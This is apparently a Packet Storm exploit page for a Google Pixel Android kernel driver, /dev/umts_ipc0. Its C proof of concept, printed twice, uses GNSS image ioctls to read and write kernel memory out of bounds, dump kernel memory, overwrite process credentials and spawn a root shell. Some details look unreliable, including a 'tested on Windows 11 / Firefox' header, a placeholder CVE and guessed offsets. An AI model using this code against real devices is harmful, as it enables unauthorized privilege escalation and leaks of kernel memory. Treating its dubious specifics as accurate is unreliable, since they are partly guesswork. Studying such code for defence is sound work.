Description
Proof of concept exploit targeting a vulnerability in an Android kernel driver related to GNSS/UMTS IPC /dev/umtsipc0...
Basic Information
ID
PACKETSTORM:223848
Published
Jun 19, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Android Kernel Exploit OOB Read/Write via /dev/umts_ipc0 |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : Google Pixel CPIF Driver |
==================================================================================================================================
[+] Summary : exploit targeting a suspected vulnerability in an Android kernel driver related to GNSS/UMTS IPC (/dev/umts_ipc0).
It attempts to abuse out-of-bounds (OOB) read and write conditions through ioctl interfaces (IOCTL_LOAD_GNSS_IMAGE and IOCTL_READ_GNSS_IMAGE).
[+] Payload :
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdint.h>
#include <inttypes.h>
#include <signal.h>
#include <setjmp.h>
#define UMTS_IPC0_DEVICE "/dev/umts_ipc0"
#define IOCTL_LOAD_GNSS_IMAGE 0xC0204901
#define IOCTL_READ_GNSS_IMAGE 0xC0204902
struct gnss_image {
uint64_t offset;
uint64_t firmware_size;
void *firmware_bin;
};
struct gnss_image_read {
uint64_t offset;
uint64_t size;
void *buffer;
};
#define GNSS_V_BASE 0xffffffc091e00000ULL
#define GNSS_BUFFER_SIZE 0x00100000
#define CURRENT_TASK_OFFSET 0x0004f000
#define RADIO_GID 1001
static int fd;
static sigjmp_buf jmpbuf;
static volatile int fault_triggered = 0;
static void sigsegv_handler(int sig) {
printf("[!] Segmentation fault caught\n");
fault_triggered = 1;
siglongjmp(jmpbuf, 1);
}
static void init_signals(void) {
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = sigsegv_handler;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
static int check_privileges(void) {
uid_t uid = getuid();
gid_t gid = getgid();
printf("[*] Current UID: %d, GID: %d\n", uid, gid);
printf("[*] Effective UID: %d, GID: %d\n", geteuid(), getegid());
if (uid == 0) {
printf("[!] Already root!\n");
return 1;
}
if (gid == RADIO_GID || getegid() == RADIO_GID) {
printf("[+] Running in radio context (u:r:radio:s0)\n");
return 1;
}
printf("[-] Not in radio context.\n");
printf("[*] Try: su -c 'chown radio:radio %s'\n", __FILE__);
return 0;
}
static int trigger_oob_write(uint64_t offset, uint64_t size, void *data) {
struct gnss_image img;
int ret;
printf("[*] Triggering OOB write:\n");
printf(" Offset: 0x%llx\n", offset);
printf(" Size: 0x%llx (%llu bytes)\n", size, size);
memset(&img, 0, sizeof(img));
img.offset = offset;
img.firmware_size = size;
img.firmware_bin = data;
if (sigsetjmp(jmpbuf, 1) == 0) {
ret = ioctl(fd, IOCTL_LOAD_GNSS_IMAGE, &img);
if (ret < 0) {
perror("ioctl(LOAD_GNSS_IMAGE)");
return -1;
}
} else {
printf("[!] Fault triggered during OOB write\n");
return -1;
}
return ret;
}
static int trigger_oob_read(uint64_t offset, uint64_t size, void *buffer) {
struct gnss_image_read img_read;
int ret;
printf("[*] Triggering OOB read:\n");
printf(" Offset: 0x%llx\n", offset);
printf(" Size: 0x%llx (%llu bytes)\n", size, size);
memset(&img_read, 0, sizeof(img_read));
img_read.offset = offset;
img_read.size = size;
img_read.buffer = buffer;
if (sigsetjmp(jmpbuf, 1) == 0) {
ret = ioctl(fd, IOCTL_READ_GNSS_IMAGE, &img_read);
if (ret < 0) {
perror("ioctl(READ_GNSS_IMAGE)");
return -1;
}
} else {
printf("[!] Fault triggered during OOB read\n");
return -1;
}
return ret;
}
static void exploit_oob_write(void) {
const size_t payload_size = 0x1000;
void *payload;
int ret;
printf("\n[!] Starting OOB write exploit...\n");
payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (payload == MAP_FAILED) {
perror("mmap");
return;
}
printf("[*] Crafting payload with pattern 0x41414141...\n");
uint64_t *p = (uint64_t *)payload;
for (size_t i = 0; i < payload_size / sizeof(uint64_t); i++) {
p[i] = 0x4141414141414141ULL | (i & 0xFFFF);
}
uint64_t offsets[] = {
0x0000, // Beginning of buffer
0x4f000, // Known vulnerable offset from panic
0x100000, // End of buffer
0x200000, // Beyond buffer
};
for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
printf("\n[*] Attempt %zu: offset 0x%llx\n", i+1, offsets[i]);
ret = trigger_oob_write(offsets[i], payload_size, payload);
if (ret == 0) {
printf("[+] OOB write succeeded at offset 0x%llx\n", offsets[i]);
printf("[*] Checking for system impact...\n");
break;
}
}
munmap(payload, payload_size);
}
static void exploit_oob_read(void) {
const size_t read_size = 0x1000;
void *buffer;
int ret;
printf("\n[!] Starting OOB read exploit...\n");
buffer = malloc(read_size);
if (!buffer) {
perror("malloc");
return;
}
uint64_t offsets[] = {
0x0000,
0x4f000,
0x80000,
0xff000,
};
for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
printf("\n[*] Attempt %zu: reading at offset 0x%llx\n", i+1, offsets[i]);
memset(buffer, 0, read_size);
ret = trigger_oob_read(offsets[i], read_size, buffer);
if (ret == 0) {
printf("[+] OOB read succeeded at offset 0x%llx\n", offsets[i]);
printf("[*] First 64 bytes of leaked data:\n");
for (size_t j = 0; j < 64 && j < read_size; j++) {
printf("%02x ", ((uint8_t *)buffer)[j]);
if ((j + 1) % 16 == 0) printf("\n");
}
printf("\n");
uint64_t *ptr_data = (uint64_t *)buffer;
int found = 0;
for (size_t j = 0; j < read_size / sizeof(uint64_t); j++) {
uint64_t val = ptr_data[j];
if (val > 0xffffff8000000000ULL && val < 0xffffffc000000000ULL) {
printf("[+] Found kernel pointer at offset 0x%zx: 0x%016llx\n",
j * sizeof(uint64_t), val);
found++;
}
}
if (!found) {
printf("[*] No kernel pointers found in this range\n");
}
}
}
free(buffer);
}
static void exploit_escalate(void) {
const size_t payload_size = 0x1000;
void *payload;
printf("\n[!] Attempting privilege escalation...\n");
payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (payload == MAP_FAILED) {
perror("mmap");
return;
}
struct {
uint64_t uid;
uint64_t gid;
uint64_t euid;
uint64_t egid;
uint64_t suid;
uint64_t sgid;
} *creds = (void *)payload;
creds->uid = 0;
creds->gid = 0;
creds->euid = 0;
creds->egid = 0;
creds->suid = 0;
creds->sgid = 0;
printf("[*] Attempting to overwrite credentials at offset 0x%llx\n",
CURRENT_TASK_OFFSET);
trigger_oob_write(CURRENT_TASK_OFFSET, payload_size, payload);
if (getuid() == 0) {
printf("[+] SUCCESS! Got root!\n");
printf("[*] Spawning root shell...\n");
system("/system/bin/sh");
} else {
printf("[-] Escalation failed. Still UID: %d\n", getuid());
}
munmap(payload, payload_size);
}
static void dump_kernel_range(uint64_t start, size_t size) {
void *buffer = malloc(size);
if (!buffer) {
perror("malloc");
return;
}
printf("[*] Dumping kernel memory from 0x%llx, size 0x%zx\n", start, size);
if (trigger_oob_read(start, size, buffer) == 0) {
printf("[+] Dump successful\n");
/* Save to file */
FILE *f = fopen("/sdcard/kernel_dump.bin", "wb");
if (f) {
fwrite(buffer, 1, size, f);
fclose(f);
printf("[+] Saved to /sdcard/kernel_dump.bin\n");
}
}
free(buffer);
}
int main(int argc, char **argv) {
int mode = 0; // 0 = write, 1 = read, 2 = escalate, 3 = dump
printf("=========================================\n");
printf("Android Kernel Exploit - CVE-2026-XXXXX\n");
printf("Google Pixel /dev/umts_ipc0\n");
printf("Credit: Jann Horn, Seth Jenkins\n");
printf("=========================================\n\n");
/* Parse arguments */
if (argc > 1) {
if (strcmp(argv[1], "write") == 0) mode = 0;
else if (strcmp(argv[1], "read") == 0) mode = 1;
else if (strcmp(argv[1], "escalate") == 0) mode = 2;
else if (strcmp(argv[1], "dump") == 0) mode = 3;
else {
printf("Usage: %s [write|read|escalate|dump]\n", argv[0]);
return 1;
}
}
if (!check_privileges()) {
printf("[-] Need radio context to exploit\n");
return 1;
}
fd = open(UMTS_IPC0_DEVICE, O_RDWR);
if (fd < 0) {
perror("open(/dev/umts_ipc0)");
return 1;
}
printf("[+] Device opened successfully (fd=%d)\n", fd);
init_signals();
switch (mode) {
case 0:
exploit_oob_write();
break;
case 1:
exploit_oob_read();
break;
case 2:
exploit_escalate();
break;
case 3:
dump_kernel_range(GNSS_V_BASE, GNSS_BUFFER_SIZE * 2);
break;
default:
printf("[*] Running both OOB write and read...\n");
exploit_oob_write();
exploit_oob_read();
}
close(fd);
printf("\n[+] Exploit complete\n");
return 0;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Android Kernel Exploit OOB Read/Write via /dev/umts_ipc0 |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : Google Pixel CPIF Driver |
==================================================================================================================================
[+] Summary : exploit targeting a suspected vulnerability in an Android kernel driver related to GNSS/UMTS IPC (/dev/umts_ipc0).
It attempts to abuse out-of-bounds (OOB) read and write conditions through ioctl interfaces (IOCTL_LOAD_GNSS_IMAGE and IOCTL_READ_GNSS_IMAGE).
[+] Payload :
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdint.h>
#include <inttypes.h>
#include <signal.h>
#include <setjmp.h>
#define UMTS_IPC0_DEVICE "/dev/umts_ipc0"
#define IOCTL_LOAD_GNSS_IMAGE 0xC0204901
#define IOCTL_READ_GNSS_IMAGE 0xC0204902
struct gnss_image {
uint64_t offset;
uint64_t firmware_size;
void *firmware_bin;
};
struct gnss_image_read {
uint64_t offset;
uint64_t size;
void *buffer;
};
#define GNSS_V_BASE 0xffffffc091e00000ULL
#define GNSS_BUFFER_SIZE 0x00100000
#define CURRENT_TASK_OFFSET 0x0004f000
#define RADIO_GID 1001
static int fd;
static sigjmp_buf jmpbuf;
static volatile int fault_triggered = 0;
static void sigsegv_handler(int sig) {
printf("[!] Segmentation fault caught\n");
fault_triggered = 1;
siglongjmp(jmpbuf, 1);
}
static void init_signals(void) {
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = sigsegv_handler;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
static int check_privileges(void) {
uid_t uid = getuid();
gid_t gid = getgid();
printf("[*] Current UID: %d, GID: %d\n", uid, gid);
printf("[*] Effective UID: %d, GID: %d\n", geteuid(), getegid());
if (uid == 0) {
printf("[!] Already root!\n");
return 1;
}
if (gid == RADIO_GID || getegid() == RADIO_GID) {
printf("[+] Running in radio context (u:r:radio:s0)\n");
return 1;
}
printf("[-] Not in radio context.\n");
printf("[*] Try: su -c 'chown radio:radio %s'\n", __FILE__);
return 0;
}
static int trigger_oob_write(uint64_t offset, uint64_t size, void *data) {
struct gnss_image img;
int ret;
printf("[*] Triggering OOB write:\n");
printf(" Offset: 0x%llx\n", offset);
printf(" Size: 0x%llx (%llu bytes)\n", size, size);
memset(&img, 0, sizeof(img));
img.offset = offset;
img.firmware_size = size;
img.firmware_bin = data;
if (sigsetjmp(jmpbuf, 1) == 0) {
ret = ioctl(fd, IOCTL_LOAD_GNSS_IMAGE, &img);
if (ret < 0) {
perror("ioctl(LOAD_GNSS_IMAGE)");
return -1;
}
} else {
printf("[!] Fault triggered during OOB write\n");
return -1;
}
return ret;
}
static int trigger_oob_read(uint64_t offset, uint64_t size, void *buffer) {
struct gnss_image_read img_read;
int ret;
printf("[*] Triggering OOB read:\n");
printf(" Offset: 0x%llx\n", offset);
printf(" Size: 0x%llx (%llu bytes)\n", size, size);
memset(&img_read, 0, sizeof(img_read));
img_read.offset = offset;
img_read.size = size;
img_read.buffer = buffer;
if (sigsetjmp(jmpbuf, 1) == 0) {
ret = ioctl(fd, IOCTL_READ_GNSS_IMAGE, &img_read);
if (ret < 0) {
perror("ioctl(READ_GNSS_IMAGE)");
return -1;
}
} else {
printf("[!] Fault triggered during OOB read\n");
return -1;
}
return ret;
}
static void exploit_oob_write(void) {
const size_t payload_size = 0x1000;
void *payload;
int ret;
printf("\n[!] Starting OOB write exploit...\n");
payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (payload == MAP_FAILED) {
perror("mmap");
return;
}
printf("[*] Crafting payload with pattern 0x41414141...\n");
uint64_t *p = (uint64_t *)payload;
for (size_t i = 0; i < payload_size / sizeof(uint64_t); i++) {
p[i] = 0x4141414141414141ULL | (i & 0xFFFF);
}
uint64_t offsets[] = {
0x0000, // Beginning of buffer
0x4f000, // Known vulnerable offset from panic
0x100000, // End of buffer
0x200000, // Beyond buffer
};
for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
printf("\n[*] Attempt %zu: offset 0x%llx\n", i+1, offsets[i]);
ret = trigger_oob_write(offsets[i], payload_size, payload);
if (ret == 0) {
printf("[+] OOB write succeeded at offset 0x%llx\n", offsets[i]);
printf("[*] Checking for system impact...\n");
break;
}
}
munmap(payload, payload_size);
}
static void exploit_oob_read(void) {
const size_t read_size = 0x1000;
void *buffer;
int ret;
printf("\n[!] Starting OOB read exploit...\n");
buffer = malloc(read_size);
if (!buffer) {
perror("malloc");
return;
}
uint64_t offsets[] = {
0x0000,
0x4f000,
0x80000,
0xff000,
};
for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
printf("\n[*] Attempt %zu: reading at offset 0x%llx\n", i+1, offsets[i]);
memset(buffer, 0, read_size);
ret = trigger_oob_read(offsets[i], read_size, buffer);
if (ret == 0) {
printf("[+] OOB read succeeded at offset 0x%llx\n", offsets[i]);
printf("[*] First 64 bytes of leaked data:\n");
for (size_t j = 0; j < 64 && j < read_size; j++) {
printf("%02x ", ((uint8_t *)buffer)[j]);
if ((j + 1) % 16 == 0) printf("\n");
}
printf("\n");
uint64_t *ptr_data = (uint64_t *)buffer;
int found = 0;
for (size_t j = 0; j < read_size / sizeof(uint64_t); j++) {
uint64_t val = ptr_data[j];
if (val > 0xffffff8000000000ULL && val < 0xffffffc000000000ULL) {
printf("[+] Found kernel pointer at offset 0x%zx: 0x%016llx\n",
j * sizeof(uint64_t), val);
found++;
}
}
if (!found) {
printf("[*] No kernel pointers found in this range\n");
}
}
}
free(buffer);
}
static void exploit_escalate(void) {
const size_t payload_size = 0x1000;
void *payload;
printf("\n[!] Attempting privilege escalation...\n");
payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (payload == MAP_FAILED) {
perror("mmap");
return;
}
struct {
uint64_t uid;
uint64_t gid;
uint64_t euid;
uint64_t egid;
uint64_t suid;
uint64_t sgid;
} *creds = (void *)payload;
creds->uid = 0;
creds->gid = 0;
creds->euid = 0;
creds->egid = 0;
creds->suid = 0;
creds->sgid = 0;
printf("[*] Attempting to overwrite credentials at offset 0x%llx\n",
CURRENT_TASK_OFFSET);
trigger_oob_write(CURRENT_TASK_OFFSET, payload_size, payload);
if (getuid() == 0) {
printf("[+] SUCCESS! Got root!\n");
printf("[*] Spawning root shell...\n");
system("/system/bin/sh");
} else {
printf("[-] Escalation failed. Still UID: %d\n", getuid());
}
munmap(payload, payload_size);
}
static void dump_kernel_range(uint64_t start, size_t size) {
void *buffer = malloc(size);
if (!buffer) {
perror("malloc");
return;
}
printf("[*] Dumping kernel memory from 0x%llx, size 0x%zx\n", start, size);
if (trigger_oob_read(start, size, buffer) == 0) {
printf("[+] Dump successful\n");
/* Save to file */
FILE *f = fopen("/sdcard/kernel_dump.bin", "wb");
if (f) {
fwrite(buffer, 1, size, f);
fclose(f);
printf("[+] Saved to /sdcard/kernel_dump.bin\n");
}
}
free(buffer);
}
int main(int argc, char **argv) {
int mode = 0; // 0 = write, 1 = read, 2 = escalate, 3 = dump
printf("=========================================\n");
printf("Android Kernel Exploit - CVE-2026-XXXXX\n");
printf("Google Pixel /dev/umts_ipc0\n");
printf("Credit: Jann Horn, Seth Jenkins\n");
printf("=========================================\n\n");
/* Parse arguments */
if (argc > 1) {
if (strcmp(argv[1], "write") == 0) mode = 0;
else if (strcmp(argv[1], "read") == 0) mode = 1;
else if (strcmp(argv[1], "escalate") == 0) mode = 2;
else if (strcmp(argv[1], "dump") == 0) mode = 3;
else {
printf("Usage: %s [write|read|escalate|dump]\n", argv[0]);
return 1;
}
}
if (!check_privileges()) {
printf("[-] Need radio context to exploit\n");
return 1;
}
fd = open(UMTS_IPC0_DEVICE, O_RDWR);
if (fd < 0) {
perror("open(/dev/umts_ipc0)");
return 1;
}
printf("[+] Device opened successfully (fd=%d)\n", fd);
init_signals();
switch (mode) {
case 0:
exploit_oob_write();
break;
case 1:
exploit_oob_read();
break;
case 2:
exploit_escalate();
break;
case 3:
dump_kernel_range(GNSS_V_BASE, GNSS_BUFFER_SIZE * 2);
break;
default:
printf("[*] Running both OOB write and read...\n");
exploit_oob_write();
exploit_oob_read();
}
close(fd);
printf("\n[+] Exploit complete\n");
return 0;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================